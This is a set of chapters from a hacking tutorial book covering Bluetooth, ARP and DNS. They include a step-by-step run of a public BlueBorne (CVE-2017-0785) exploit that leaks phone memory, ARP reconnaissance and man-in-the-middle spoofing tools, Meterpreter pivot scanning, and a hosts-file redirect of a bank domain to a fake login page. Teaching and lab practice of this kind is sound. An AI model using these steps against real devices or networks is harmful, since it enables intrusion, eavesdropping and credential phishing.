Bluetooth is a universal protocol for low-power, near-field communication operating at 2.4 - 2.485 GHz using spread spectrum, frequency hopping at 1,600 hops per second (this frequency hopping is a security measure). It was developed in 1994 by Ericsson Corp. of Sweden and named after the 10th-century Danish (Sweden and Denmark were a single country in the 10th century) King Harald Bluetooth.

The minimum specification for Bluetooth range is 10 meters, but there is no limit to the range that manufacturers may implement in their devices. Many devices have a range as long as 100 meters. With special antennas, we can extend the range even further.

When two Bluetooth devices connect, this is referred to as pairing. Nearly any two Bluetooth devices can connect to each other. Any discoverable Bluetooth device transmits the following information:

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- Name
- Class
- List of services
- Technical information

When the two devices pair, each exchanges a pre-shared secret or link key. Each stores this link key to identifying the other in any future pairing.

Every device has a unique 48-bit identifier (a MAC-like address) and usually a manufacturerassigned name.

Here is a diagram of the Bluetooth pairing process. Although much more secure in recent years, it is still vulnerable, as we will see in future tutorials in this series.



Bluetooth devices create what is called a piconet or very small net. In a piconet, there is one master and up to seven active slaves. Because Bluetooth uses frequency hopping (frequencies change 1,600 times per second), these devices' communication doesn't interfere with each other, as the chances of two devices using the same frequency is very small.

Basic Linux Bluetooth Tools

The Linux implementation of the Bluetooth protocol stack is BlueZ. Most Linux distributions have it installed by default, but if not, you can usually find it in your repository. In our <u>Kali Linux</u>, as you would expect, it is installed by default.

BlueZ has a number of simple tools we can use to manage and eventually hack Bluetooth. These include:

- hciconfig: This tool operates very similarly to ifconfig in Linux, except that it operates on the Bluetooth devices. As you can see in the screenshot below, I have used it first to bring up the
- •
- •
- Bluetooth interface (hci0) and second, query the device for its specifics
- hcitool: This is an inquiry tool. It can provide us with device name, device ID, device class, and device clock.
- hcidump: This tool enables us to sniff Bluetooth communication.

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```
root@kali:~# hciconfig
hci0: Type: BR/EDR Bus: USB
BD Address: 10:AE:60:58:F1:37 ACL MTU: 310:10 SC0 MTU: 64:8
UP RUNNING PSCAN INQUIRY
RX bytes:131433 acl:45 sco:0 events:10519 errors:0
TX bytes:42881 acl:45 sco:0 commands:5081 errors:0
```

Bluetooth Protocol Stack

The Bluetooth protocol stack looks like this.



Bluetooth devices don't need to use all the protocols in the stack (like the TCP/IP stack). The Bluetooth stack is developed to enable the use of Bluetooth by a variety of communication applications. Generally, an application will only use one vertical slice of this stack. The Bluetooth protocols layer and their associated protocols are listed below.

- Bluetooth Core Protocols Baseband: LMP, L2CAP, SDP
- Cable Replacement Protocol: RFCOMM
- Telephony Control Protocol: TCS Binary, AT-commands
- Adopted Protocols: PPP, UDP/TCP/IP, OBEX, WAP, vCard, vCal, IrMC, WAE

In addition to the protocol layers, the Bluetooth specification also defines a host controller interface (HCI). This provides a command interface to the baseband controller, link manager, and access to hardware status and control registers, hence the name of the tools above, such as hciconfig, hcidump, and hcitool.

Bluetooth Security

Bluetooth security is based on a few techniques. First frequency hopping. Both the master and slave know the frequency hopping algorithm, but the outsider does not. Second, a pre-shared key is exchanged at a pairing that is used for authentication and encryption (128-bit).

There are three security modes for Bluetooth. These are:

1. Security Mode 1: No active security.

- 2. Security Mode 2: Service level security. A centralized security manager handles authentication, configuration, and authorization. May not be activated by a user. No device-level security.
- 3. Security Mode 3: Device level security. Authentication and encryption based on the secret key. Always on. Enforces security for low-level connection.

		Master			
5 	Security Mode 1	Security Mode 2	Security Mode 3		
Security Mode 1	No authentication or encryption.	An application on the master can demand auth- entication and encryption; the slave must support authentication (encryption is optional).	The link is authenticated and optionally encrypted, depending on the master's security policy.		
Security Mode 2 An application on the slave can demand auth- entication or authentica- tion and encryption; the master must support authentication (encryption is optional).		If an application on either device demands it, the link will be authenticated or authenticated and encrypted. GhostNetwork	The link is authenticated, and if the master security policy or the application on the slave demands it, the link will be encrypted.		
Security Mode 3	The link will be authenti- cated if the slave security policy demands it, and the link will be encrypted if the master supports it.	The link will be authentica- ted and, if the slave secur- ity policy or the application on the master demands it, encrypted.	The link is authenticated and, if either the master or slave security policy demands it, encrypted.		

Master and Slave Security Policy Interaction

Bluetooth Hacking Tools in Kali

We have several Bluetooth hacking tools built into Kali that we will be using throughout this series, as well as others that we will need to download and install. We can find the installed Bluetooth tools by going to **Applications -> Kali Linux -> Wireless Attacks -> Bluetooth Tools.**

There, we will find several tools for attacking Bluetooth. Let's take a brief look at each of them.

- **Bluelog**: A bluetooth site survey tool. It scans the area to find as many discoverable devices in the area and then logs them to a file.
- Bluemaho: A GUI-based suite of tools for testing the security of Bluetooth devices.
- **Blueranger**: A simple Python script that uses i2cap pings to locate Bluetooth devices and determine their approximate distances.

- Btscanner: This GUI-based tool scans for discoverable devices within range.
- **Redfang**: This tool enables us to find hidden Bluetooth device.
- **Spooftooph**: This is a Bluetooth spoofing tool.

Some Bluetooth Attacks

- Blueprinting: The process of footprinting.
- **Bluesnarfing**: This attack takes data from the Bluetooth-enabled device. This can include SMS messages, calendar info, images, the phone book, and chats.
- **Bluebugging**: The attacker can take control of the target's phone. Bloover was developed as a POC tool for this purpose.
- **Bluejacking**: The attacker sends a "business card" (text message) that, if the user allows it to be added to their contact list, enables the attacker to continue to send additional messages.
- Bluesmack: A DoS attack against Bluetooth devices.

Now that we have a basic understanding of Bluetooth terms, technologies, and security, we can begin to <u>explore ways to break and hack Bluetooth</u>.

When BlueTooth was first introduced in 1994 by Ericcson Corporation of Sweden, it was very insecure. Hackers could steal information and send unsolicited messages to the unsuspecting.

In recent years, additional security has been built-in into the protocol, and much of the IT security industry has sat back and said, "It's fixed and unhackable." On the other hand, I maintain that BlueTooth is and will remain one of the most vulnerable protocols, making all our data on our BlueTooth-enabled devices vulnerable to being hacked.

The BlueBourne Attack

In recent years, Armis Security has released a number of exploits against unpatched BlueTooth devices. You can read more about it <u>here</u>. These exploits are capable of attacking iOS (but not iOS 10), Microsoft Windows, and Android. Nearly every company has issued patches, but for a number of reasons many Android systems are still unpatched.

The exploit attacks the SDP protocol of the BlueTooth stack (see below). The exploit masquerades as a BlueTooth device and is able to exploit vulnerabilities in SDP. The BlueTooth device does not even need to be in discover mode, and it only needs to ON. Since BlueTooth has access to the inner sanctum of the kernel, nearly everything is vulnerable.



In this section, we will look at how to extract data from an unpatched BlueTooth device using the BlueBorne exploit.

Getting Started

The first step, of course, must be an unpatched device. I will be using an older LG phone I keep in my lab just for this purpose.

Of course, you will need a BlueTooth adapter to communicate with your target. There are a number of BlueTooth adapters that are Linux compatible, but I will be using one from Pluggable that is Plug-n-Play compatible with our Kali Linux operating system.

Next, we need to install the dependencies into our Kali system.

kali > apt-get install bluetooth libbluetooth-dev

```
root@kali:/# apt-get install bluetooth libbluetooth-dev
Reading package lists... Done
Building dependency tree
Reading state information... Done
```

kali > pip install pybluez

root@kali:/# pip install pybluex

kali > pip install pwntools

Install the Python Script

Although Armis developed these exploits, they have not released them to the public. Fortunately, a security researcher has developed a python script based on the Armis research. You can find it at github.com. Simply clone it into your system as below.

```
kali > git clone https://github.com/ojasookert/CVE-2017-0785
```

```
root@kali:/# git clone https://github.com/ojasookert/CVE-2017-0785
Cloning into 'CVE-2017-0785'...
remote: Counting objects: 4, done.
remote: Total 4 (delta 0), reused 0 (delta 0), pack-reused 4
Unpacking objects: 100% (4/4), done.
root@kali:/#
```

After cloning it, you will see a new directory created, CVE-2017-0785.

root@kali:~#	ls -	Irds.txt				(and the second se
total 52							
drwxr-xr-x 5	root	root	4096	0ct	19	17:36	blueborne-scanner
drwxr-xr-x 3	root	root	4096	0ct	19	19:11	CVE-2017-0785
drwxr-xr-x 2	root	root	4096	0ct	24	17:51	Desktop
drwxr-xr-x 2	root	root	4096	0ct	17	11:35	Documents 🔨
drwxr-xr-x 2	root	root	4096	0ct	17	11:35	Downloads
drwxr-xr-x 2	root	root	4096	0ct	17	11:35	Music

Navigate to that directory and do a long listing (ls -l). You will see a README.md file and the python script **CVE-2017-0785.py**

kali > cd CVE-2017-0785

root@kali:~/CVE-2017-0785# ls -l total 8									
Philip Philipping	1	root	root	1080	0ct	19	19:11	CVE-2017-0785.py	
- rw- r r	1	root	root	341	0ct	19	19:11	README.md	

You will need to give yourself execute permissions on this script.

kali > chmod 755 CVE-2017-0785.py

Get the MAC address of the Target

Now that we have our dependencies met and installed the Python script, the only left to be done is to obtain the MAC address of the target system. As I demonstrated above, we can scan for BlueTooth devices with the **hcitool**.

kali > hcitool scan



This utility will go out and scan for any available BlueTooth devices within range. As you can see, it found my LG phone. I have obscured the MAC address to protect the innocent.

Execute the BlueBourne Exploit

Now, we have everything we need to exploit the BlueTooth device and extract its memory. To run the exploit, we simply enter **python**, the name of the script, and **TARGET**= followed by the mac address of the target system.

kali > python CVE-2017-785.py TARGET=<MAC ADDRESS of Target>

Persister	Persistence CVE-2017- oot@kali:~/Desktop# python CVE-2017-0785.py													import bluetooth								
[+] Explo	TAP	if not 'TARGE																				
00000000				00	00	00	00	00	00	00	00	00	00 00	0.00	00		Jsatte	• eve	2017	- 078		
*													e	xit								
00000050	00	00	00	00	00	02	00	01	00		01	00	b2 d4	4 76						· · v		
00000060	00	00	00	00	naja	87	b3	10	ae	25	99	f0	120 gB		aeg	L		ET' 1'	· % · ·			
00000070		d1	3b	45 ₅	00	00	00	08	9f	ad	91	54	sb2 ∖dl	ર _∈ db	၀င္မရွိ	H	0x;E	90	· · · T			
00000080	00	00	00	00	b2	d8	сf	2e	00	00	00	01	-00 00	9 -00	; <mark>0</mark> 0		• 0X0	901				
00000090		e8	06	68	b6	ce	7b	f3	b2	eb	0e	e0	_nff∟fi		ff		۰۰h	, L				
000000a0	00	00	00	00	00	00	00	00	00	00	00	00	00 00		00							
000000b0	00	00	00	00	.00	00	00	00	b3	bb	eb	08	aa 8				••••					
000000c0	ad	89	60	00	aa	87	fd	d8	b6	d2	d3	0c	db3 bl			Ľ	/ice,	cont	inuat			
000000d0		d2	05	94	"b3	bb	eb	08	aa	87	b3	10	b6 d(Ð		/x00.		••#		
000000e0	00	00	00	04	00	00	00	08	aa	87	b4	20	ae 2		- P -	þ	(7. +	len (c	pntin	**		
000000f0	107 AL	dc	b1	90	00	00	00	00	aa	87	fd	d8		ktb4		K	85\x0	BV X13				
00000100	ae 00	25 00	9a	80	b2	dc	b1	90 7f	00	00	00	00	b2 de	A C. 1		þ	(ട്രീസ	ice)		l · · W		
00000110	~~~	0.0	00	00 80	b2	d4	76	98	ae	25	9a	80 4E	b2 d	N C		K		9 · · V ·	·%··	· · H		
00000120 00000130	ae 00	25 00	9a 00	00	b2 00	dc 00	b1 00	98 0f	b2 00	00	3b	45	b2 e9	1.62.2		P	t 1% rua	tion_	sta ;E	J		
	00	00	~ ~	30	00	00	00	00	b2	00		64		C . (M		F			d	-		
00000140 00000150	b2	00 20	75 cd	50 64	b2	ec	4d	28	ae	25	cd 9a	04 80	b2 e b2 d4	- 4a 4c	28 ff		∙∙u0 ss(d	x::::M(° a	∙ · M		
00000150	b2	41	3b	45	b2	eC e9	4u cd	20 64	00	25	9a 00	00	00 00	0,40		P						
00000170	b2	e9		45 64	b2	d1	3e	43	b2	d1	3b	45			50		in;E			et ,		
00000170	υZ	69	cd	04	102	u1	se	45	02	u1	20	45	b2 e9	9 cd	5c		···d	- >C	••;E			

The python script has exploited the target and removed the first 30 bytes from memory! Of course, we can edit the script to extract even more memory.

BlueTooth hacking has been a relatively quiet field for a number of years, but I expect it to heat up now, making all our mobile devices vulnerable.

Exercises

- 1. Install Bluez, if it is not already installed on your system
- 2. Use the hciconfig tool to find the MAC address of your Bluetooth adapter
- 3. Use heitool to scan for other Bluetooth devices in your range

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Chapter 7

Address Resolution Protocol(ARP)

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Understanding the many network protocols can enhance your ability to gain information and access your target. Address Resolution Protocol (or ARP as it is commonly known) is used on Ethernet networks to assign IP addresses to globally unique MAC addresses. In this way, when a new system enters the network, its MAC address is assigned an IP address within the range of IP addresses on the network. This is the method that network devices such as gateways, routers, and switches know which machine has which IP address and can route the traffic destined for that IP address (a logical system) to the proper physical machine (MAC or physical address).

If the attacker understands ARP, they can leverage the ARP protocol to find systems on the network and even imitate and gain access to a particular systems traffic through Man-in-the-Middle attacks.

How ARP Works

ARP uses a simple message format sent over the link layer and network layer (Layers 2 and 3 of the OSI model). This message contains one request or one response. For example, assume two computers on an Ethernet LAN. Computer 1 needs to send a packet to computer 2. Computer 1 knows that Computer 2's IP address is 192.168.1.101. To send the packet to computer 2, it needs the physical address of computer two or its MAC address.

Computer 1 can find the MAC address of computer two by doing a lookup in the ARP table. The ARP table is a mapping of known physical addresses to logical addresses (MAC to IP). If computer 1 finds the MAC address of Computer 2 in the ARP table, it goes ahead and sends the packet to the MAC address of computer 2. If it doesn't find the corresponding MAC in the ARP table, it sends out a broadcast ARP request to every computer on the network asking, "Who has IP address 192.168.1.101?". Computer 2 will then send a unicast (1 to 1) response saying, "I have 192.168.1.101, and my MAC address is 11:22:33:44:55:66!". Now Computer 1 can send the packet to MAC address 11:22:33:44:55:66.

The ARP Command

The arp command is found in both Windows and Linux systems. With it, you can discover the contents of the arp table and even manipulate this table.

In Windows, simply enter;

> arp -a

C:\Users\OTW≻arp -a

L 0xb	
Physical Address	Туре
00-50-56-f0-5c-17	dynamic
ff-ff-ff-ff-ff	static
01-00-5e-00-00-02	static
01-00-5e-00-00-16	static
01-00-5e-00-00-fb	static
01-00-5e-00-00-fc	static
01-00-5e-7f-ff-fa	static
ff-ff-ff-ff-ff	static
0xd	
Physical Address	Туре
00-50-56-f2-c0-cf	dynamic
ff-ff-ff-ff-ff	static
01-00-5e-00-00-02	static
01-00-5e-00-00-16	static
01-00-5e-00-00-fb	static
01-00-5e-00-00-fc	static
01-00-5e-7f-ff-fa	static
ff-ff-ff-ff-ff	static
	Physical Address 00-50-56-f0-5c-17 ff-ff-ff-ff-ff-ff 01-00-5e-00-00-02 01-00-5e-00-00-16 01-00-5e-00-00-fc 01-00-5e-7f-ff-fa ff-ff-ff-ff-ff-ff 0xd Physical Address 00-50-56-f2-c0-cf ff-ff-ff-ff-ff-ff 01-00-5e-00-00-02 01-00-5e-00-00-16 01-00-5e-00-00-fc 01-00-5e-7f-ff-fa

As you can see above, the Windows operating system displays the contents of the arp table. This table contains the IP address, the Physical or MAC address, and the type (either static or unchanging and dynamic or changing).

A similar command exists in Linux. Let's look at it next,

Similarly to Windows, when you enter arp -a (all), Linux displays the arp table but without the designation of static v dynamic.

kali > sudo arp -a

```
kalinkali:~$ sudo arp -a
? (192.168.42.11) at 88:b6:ee:7c:eb:ab [ether] on eth0
? (192.168.1.101) at 00:0c:29:e9:a7:e4 [ether] on eth0
? (192.168.42.1) at 00:80:ae:b6:ef:7f [ether] on eth0
? (192.168.42.10) at 88:b6:ee:7c:eb:ab [ether] on eth0
```

When we enter arp with the -v option, Linux displays the same information in a better-formatted table and includes the flags mask indicating what Class of the IP address is used.

kali >	sudo	arp	-V
--------	------	-----	----

<pre>kali@kali:~\$ sude</pre>	o arp -v				
Address	H	W type	HWaddress	Flags Mask	Iface
192.168.42.11	e	ether	88:b6:ee:7c:eb:ab	C	eth0
192.168.1.101	e	ether	00:0c:29:e9:a7:e4	С	eth0
192.168.42.1	e	ether	00:80:ae:b6:ef:7f	с	eth0
192.168.42.10	e	ether	88:b6:ee:7c:eb:ab	с	eth0
Entries: 4	Skipped: 0	0	Found: 4		

ARP Packets in Wireshark

We can view the arp packets in Wireshark by simply entering the word "arp" in the filter window like below.

	NO S + + STI		nGhostNet	Work		
ap		Con the		. Thorn	Expression	n
Time	Source	Destnation	Protocol	Length Info		
210 0.713684	Alfa_aa:Scree	3c1671f810319d1ba	ARP	42 Who has 192.168.100.17 Tell 192.168.100.105		
211 0.716237	3c1671f810119d1ba	Alfa_aaiSciee	ARP	42 192.168.100.1 is at 3c:67:f8:01:9d:ba		
318 1.170211	IntelCor_47:10:4e	Broadcast	ARP	42 Who has 192.168.100.17 Tell 192.168.100.110		
711 5.470987	IntelCor_47:10:4e	Broadcast	ARP	42 Who has 192.168.100.17 Tell 192.168.100.110		
721 6.213682	Alfa_aaiSciee	3c1671f810219d1ba	ARP	42 Who has 192.168.100.17 Tell 192.168.100.105		
722 6.216243	3c1671f810119d1ba	Alfa_aaiSciee	ARP	42 192.168.100.1 is at 3c:67:f8:01:9d:ba		
724 6.290195	IntelCor_47:10:4e	Broadcast	ARP	42 Who has 192.168.100.17 Tell 192.168.100.110		
755 11.410151	IntelCor_47:10:4e	Broadcast	ARP	42 Who has 192.168.100.17 Tell 192.168.100.110		
773 15.214118	Alfa_aa:Sc:ee	3c:67:f8:01:9d:ba	ARP ARP	42 who has 192.168.100.17 Tell 192.168.100.105 42 192.168.100.1 is at 3c:67:f8:01:9d:ba		
776 15.217328 777 15.506152	3c:67:f8:01:9d:ba	Alfa_aa:5c:ee Broadcast	ARP ARP	42 192.108.109.1 15 at 3c:57:78:01:95:58 42 Who has 192.168.100.1? Tell 192.168.100.110		
782 16.120543	IntelCor_47:10:4e LiteonTe_f4:b9:d0	Broadcast	18.9	42 Who has 192.168.100.17 Tell 192.168.100.110		
1047 25.643592	IntelCor_47:10:4e	Broadcast	ARP	42 who has 192.168.100.17 Tell 192.168.100.100 42 who has 192.168.100.17 Tell 192.168.100.110		
1057 26,770026	IntelCor_47:10:4e	Broadcast	ARP	42 who has 192,168,100,17 Tell 192,168,100,110		
1037 201770020	Inceloor_avilatee	producest	100	42 MHO HAS 192:100:100:11 (011 192:100:100:110		
		tes captured (336 bits) on interface 0				
		Sciee), Ost: 3c:67:f8:01:9d:ba (3c:67:f8:01:9d	:0a)			
Address Resolution	n Protocol (request)					

When we click on a single packet, we can dissect the packet. Expanding the Address Resolution Protocol field, we can see the Sender and Target IP and MAC addresses.

```
> Frame 210: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0
> Ethernet II, Src: Alfa_aa:5c:ee (00:c0:ca:aa:5c:ee), Dst: 3c:67:f8:01:9d:ba (3c:67:f8:01:9d:ba)
> Address Resolution Protocol (request)
    Hardware type: Ethernet (1)
    Protocol type: IPv4 (0x0800)
    Hardware size: 6
    Protocol size: 4
    Opcode: request (1)
    Sender MAC address: Alfa_aa:5c:ee (00:c0:ca:aa:5c:ee)
    Sender IP address: 192.168.100.105 (192.168.100.105)
    Target MAC address: 3c:67:f8:01:9d:ba (3c:67:f8:01:9d:ba)
    Target IP address: 192.168.100.1 (192.168.100.1)
```

How Hackers Can Use ARP for Reconnaissance

The ARP protocol has no authentication, so the hacker can easily use this "feature" to discover all the systems on a network. This can be useful when trying to hack another system on the local area network (LAN) or when you compromise a single user on the network and want to pivot to a more valuable target on the network, such as a database server.

There are numerous tools the hacker can use to discover systems on the network. These tools send out a gratuitous ARP request, and systems respond with their IP address and MAC. For instance, in our Kali system, we have **netdiscover**.

To view netdiscover's help screen, simply enter;

kali > sudo netdiscover -h



As you can see above, we can use the -r option to scan a range of IP addresses on a network, such as;

kali > netdiscover -	r 192.168.100.0/24
----------------------	--------------------

Currently scann	ing: Finished!	Scree	en View:	Unique Hosts
22 Captured ARP	Req/Rep packets, f	rom 10	hosts.	Total size: 1320
IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.42.1	00:80:ae:b6:ef:7f	11	660	HUGHES NETWORK SYSTEMS
192.168.42.2	94:6a:b0:15:41:6a	1	60	Arcadyan Corporation
192.168.42.4	70:1a:04:f4:b9:d0	2	120	Liteon Technology Corporation
192.168.42.8	30:e3:7a:55:3c:05	1	60	Intel Corporate
192.168.42.3	38:f7:3d:31:71:52	1	60	Amazon Technologies Inc.
192.168.42.15	00:0c:29:8f:ca:00	1	60	VMware, Inc.
192.168.42.11	88:b6:ee:7c:eb:ab	2	120	Dish Technologies Corp
192.168.42.22	88:b6:ee:7c:eb:ab	1	60	Dish Technologies Corp
192.168.42.6	00:7c:2d:b4:0e:3b	1	60	Samsung Electronics Co.,Ltd
192.168.42.10	88:b6:ee:7c:eb:ab	1	60	Dish Technologies Corp

As you can see above, netdiscover enumerates every system on the network with its IP address, MAC address, and vendor of the network interface (NIC).

ARP Vulnerabilities and Exploitation

ARP can also be used to conduct a Man-in-the-Middle (MiTM) attack. Remember, IP addresses are assigned to physical interfaces (MAC addresses) via the ARP protocol. Attackers can send out gratuitous ARP requests to have their computer designated as the location of the specific IP address the target is trying to reach, thereby placing themselves in the middle between the target and the intended server. This is known as arpspoofing. In this way, they can eavesdrop on the target's traffic or even alter it.



Ettercap is an easy-to-use arp spoofing tool for MiTM attacks. To learn more about Ettercap, click here (https://www.hackers-arise.com/post/2017/08/28/MiTM-Attack-with-Ettercap).

Other tools that utilize ARP for MitM attacks include;

- 1. <u>arpspoof</u> (https://www.hackers-arise.com/post/2017/07/25/man-the-middle-mitm-attack-with-arpspoofing)
- 2. <u>driftnet</u> (https://www.hackers-arise.com/post/2017/09/27/MitM-Using-driftnet-to-View-the-Targets-Graphics-Files)



Start Targets	Hosts View	Mitm Filters Logging A	Plugins ?
Host List 🙀		Arp poisoning	
IP Address	MAC Address	Icmp redirect Port stealing	
0.0.0.0	08:00:27:46:0	Dhcp spoofing	
192.168.1.1	00:25:9C:97:4	C	
192.168.1.103 192.168.1.104		1 17	
192.108.1.104	74.02.40.92.7		

Leveraging ARP in the Metasploit Meterpreter

The Address Resolution Protocol (ARP) can also be leveraged by the Metasploit Meterpreter (for more on Metasploit, see my book Metasploit Basics for Hackers on Hackers-Arise) to discover systems to pivot to after exploiting a single system on the network. As you know, once a single system on the network has been compromised, the attacker can use that system as a foothold in the network and then work to compromise more important systems on the network, such as the file server or database server.

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The meterpreter has a script and a post-exploitation module that enables the attacker to discover the other systems on the network by sending out gratuitous ARP requests on the network and waiting for the responses.

<pre>meterpreter > run arp_scanner -r 192.168.89.0/24</pre>	
[*] ARP Scanning 192.168.89.0/24	
[*] IP: 192.168.89.193 MAC 00:0c:29:56:bb:d5	
<pre>[*] IP: 192.168.89.191 MAC 00:0c:29:65:8a:b1</pre>	
<pre>[*] IP: 192.168.89.190 MAC 00:0c:29:34:33:57</pre>	
<u>meterpreter</u> >	

For more on Metasploit for hacking, check out my Metasploit Basics for Hackers series here.

Summary

The Address Resolution Protocol (ARP) is an essential protocol for assigning logical IP addresses to physical MAC addresses. If the attacker understands the ARP protocol, they can leverage its capabilities for reconnaissance or even conducting a Man-in-the-Middle attack.

Exercises

- 1. Use the arp command to discover your arp table
- 2. Use netdiscover to find other systems on your LAN
- 3. Create a filter in Wireshark to view only arp packets

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Chapter 7 Domain Name Service (DNS)

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The Domain Name System or DNS is one of those network protocols that make the world go round. Without it, we would need to remember innumerable IP addresses just to navigate to our favorite websites. Imagine trying to remember the IPv4 (32-bit) addresses of Facebook, Amazon, and Hackers-Arise, just to visit each of those critically important websites (only made worse by IPv6 128-bit addresses). DNS was designed to translate a domain name--something people are rather good at remembering--into an IP address, the language of Internet Routing. Think of DNS as simply a translation of a domain name to the respective IP addresses. So, when you enter a domain such as www.hackers-arise.com into your browser, it is translated into a computer-friendly IP address (23.236.62.147) that the Internet can understand and route.

In this chapter on DNS, we examine;

- I. How Domain Names work
- II. How DNS works,
- III. A Packet-level Analysis of DNS requests and responses,
- IV. Vulnerabilities and security in DNS,
- V. Build your own DNS server in Linux.

Domain Names

Domain names must be registered with ICANN (Internet Corporation for Assigned Names and Numbers), usually through an intermediary such as VeriSign or GoDaddy. Top Level Domains or TLD's include .com, .edu, .org, and many others that we typically see at the end of a Fully Qualified Domain Name (FQDN). AnonGhostNetwork



DNS works in a hierarchical manner. The Top Level Domains or TLD's can have multiple subdomains under them. In the diagram above, both .redhat and .cnn are part of the Top Level Domain .com. A subdomain is a domain that is part of a larger domain. In this example, redhat and cnn are often just referred to as the domain in common parlance but are actually the Second Level Domain or (SLD) under .com.

Then, beneath these SLD's or commonly referred to domains, we have many subdomains. For instance, within and beneath .redhat, we might have sales. redhat, engineering .redhat, development. redhat. This is a method of subdividing the domain. The left-most portion is always the most specific, while the right-most is the most general.

Fully Qualified Domain Name

A fully qualified domain or FQDN is what many people refer to as an absolute domain name. A Full Qualified Domain Name (FQDN) specifies its location from the absolute root of the DNS system.

Now that we have a basic understanding of domain names, the next issue to understanding how DNS translates domain names to IP addresses. Initially, clients used a simple hosts file on each client.

Host Files

When the Internet was very, very small (in a universe far, far away...), the association of domain names with IP addresses could fit into a single text file (ARPANET, the predecessor, and prototype of the internet, had just four sites). This single text file was then and is now referred to as a **hosts** file. As the Internet grew larger, this hosts file proved inadequate. It was neither large enough, nor could it be constantly updated as new domains were registered and old ones left or changed. Despite this, your system still probably still has a hosts file.

On your Kali Linux system, your hosts file is located in the /etc directory as seen below. You can open it by entering;

kali> mousepad /etc/hosts

127.0.0.1 127.0.1.1	localhost kali
192.168.56.101	bankofamerica.com

Note that each IP address is on the same line as the associated host, in this case localhost or Kali. Whenever you enter localhost in your browser, it translates it to your "home" IP or 127.0.0.1.

On the fourth line of my hosts file here, you will see an association of the private IP address 192.168.1.114 to the domain bankofamerica.com. With this hosts file in place, whenever I enter www.bankofamerica.com in my browser, I would be directed to the IP address 192.168.56.101, rather than the actual IP address of Bank of America at 171.159.228.150.

I can test by pinging bankofamerica.com.

```
kali@kali:~$ ping bankofamerica.com
PING bankofamerica.com (192.168.56.101) 56(84) bytes of data.
64 bytes from bankofamerica.com (192.168.56.101): icmp_seq=1 ttl=64 time=0.
018 ms
64 bytes from bankofamerica.com (192.168.56.101): icmp_seq=2 ttl=64 time=0.
052 ms
64 bytes from bankofamerica.com (192.168.56.101): icmp_seq=3 ttl=64 time=0.
027 ms
64 bytes from bankofamerica.com (192.168.56.101): icmp_seq=4 ttl=64 time=0.
```

As you can see above, when I then try to ping www.bankofamerica.com, my ping is directed to the address associated with bankofamerica in my hosts file. The hosts file takes precedence over DNS queries. This can be a key bit of information when attempting to do DNS spoofing on a LAN (see below).

(←) → (⊂)	ŵ	🛈 💋 bi	ankofamerica.	com				🛛	습	ÌII/	Ξ
A Most Visite	ed 🖨 Offensive	Security	🖨 Kali Linux	🖨 Kali Docs	🖨 Kali Tools	🔦 Exploit-DB	Nircrack-ng	🖨 Kali Forums	NetHunter		»
This i	is the	NEV	V Ban	ık of	Amer	ica W	ebsite!	Welco	ome!		
Welcome to	our new web	site									
Please log i	n here										
Avatar											
Username	Enter Usernam	ie	Passv	word Ente	r Password		Login 🗹 R	emember me			
Cancel	Forgot pass	word?									

This is how DNS was operated when the Internet was very, very small.

How DNS Works

Now that the Internet contains billions of IP addresses and FQDN, the host file is woefully inadequate. Enter DNS. First developed by Paul Mockapetris (now in the Internet Hall of Fame) in 1983, DNS is both distributed and dynamic, unlike our hosts file.

DNS does not rely upon one file or one server, but instead upon many files across many server across the globe. These servers are organized in a hierarchical manner. Due to this distributed nature, the DNS system is resistant to outages of one or many of these servers.



As we can see in the diagram above, the user asks (queries) the local DNS server to access **download.beta.example.com**. The local DNS server does not have that resource as it is new. It then queries the root server. The root server responds, "I don't know," but refers the local DNS server to the IP address of the authoritative server for the top-level domain (TLD), in this case, **.com**. The local DNS server will then query the TLD server for .com, and it will respond with the authoritative server for the domain, in this case, **example.com**. The local DNS server will then query the authoritative server for beta.example.com. If it has the record, it will return the resource (IP address), and if not, it will respond it "doesn't know."

DNS Components

The DNS service has four (4) components;

- 1. DNS Cache
- 2. Resolvers,
- 3. Name servers,
- 4. Name space.

DNS Cache

This term is often confused as it has at least two meanings. First, the DNS cache can be the list of names and IP addresses that you have already queried and have been resolved and are cached for you so that no network traffic is generated to resolve them (and much quicker). The second meaning regards a DNS server that simply performs recursive queries and caching without actually being an authoritative server itself.

2. Resolvers

Resolvers are any hosts on the Internet that need to look up domain information, such as the computer you are using to read this website.

3. Name Servers

These are servers that contain the database of names and IP addresses and servers' DNS requests for clients.

4. Name Space

Name space is the database of IP addresses and their associated names.

b. Zone Files and Records

Every DNS zone has a zone file. This zone file may be thought of as a DNS database. @AnonGhostNetwork

These zone files have one or more resource records. These DNS records must be periodically updated as new domains are added, changed, and others dropped. Without this process, the system would remain stagnant and eventually be completely out of date. Therefore, it is essential that the DNS server be capable of zone transfers.

1. Resource Records

A Resource Record is a single record that describes just one piece of information in the DNS database. These records are simple text lines such as;

Owner TTL Class Type RDATA

Each of these fields must be separated by at least one space.

2. Common Resource Record Types

SOA Records

The Start of Authority, or SOA, is a **mandatory** record in all zone files. It must be the first real record in a file (although \$ORIGIN or \$TTL specifications may appear above). It is also one of the most complex to understand. The fields include the primary name server, the email of the administrator, the domain number, and timers for refreshing the zone.

NS Records

NS or name server identifies the authoritative DNS server for the zone.

A Records

The A (Address) record is used to map a domain or subdomain to an IPv4 address. For instance, hackers-arise.com points to 23.236.62147.

AAAA records point to an IPv6 record.

CNAME (Canonical) records

The CName or canonical name maps one domain or subdomain to another domain name.

PTR records

PTR Records are used in reverse DNS records (i.e., from IP address to hostname). PTR or Pointer points to a canonical name, and just the name is returned in the query. You might think of these as the reverse of A or AAAA records.

MX Records

The MX record directs mail to a specific mail server responsible for accepting mail in the zone. Like CNAME, the MX record must always point to a domain and never an IP address.

SULIA EVANS		
^{@børk} DN	S record typ	es
DNS isn't just for IP addresses	A An IPV4 address.	CNAME A hostname.
There are about 30 types of DNS records. Here are a few of the most common.	Example: 1.2.3.4 Every time you go to a website, your browser looks up its A (or AAAA) record.	Example: you.github.io Redirects DNS queries to that hostname instead.
MX Where to send email. Example: 5 email.example.com	TXT Can be any string. Example: I'm a banana	CAA Certificate authority rules. Example: 0 issue "digicert.com"
NS Authoritative nameserver. Example: a.iana-servers.net	For anything that doesn't have its own record type. It's used for domain verification and SPF/DKIM (which we'll explain later).	AAAA An IPv6 address. Example: 2606:4700:3035::AC43::85DE

Packet Level Analysis of DNS Queries

The DNS protocol, like other communication protocols our networks use, has a standard packet structure. It's fairly simple, and you can view it below without going into great detail here.

identification	R Opcode M TO HO M 2 AD CO RCode
Total Questions	Total Answers
	a state of the sta
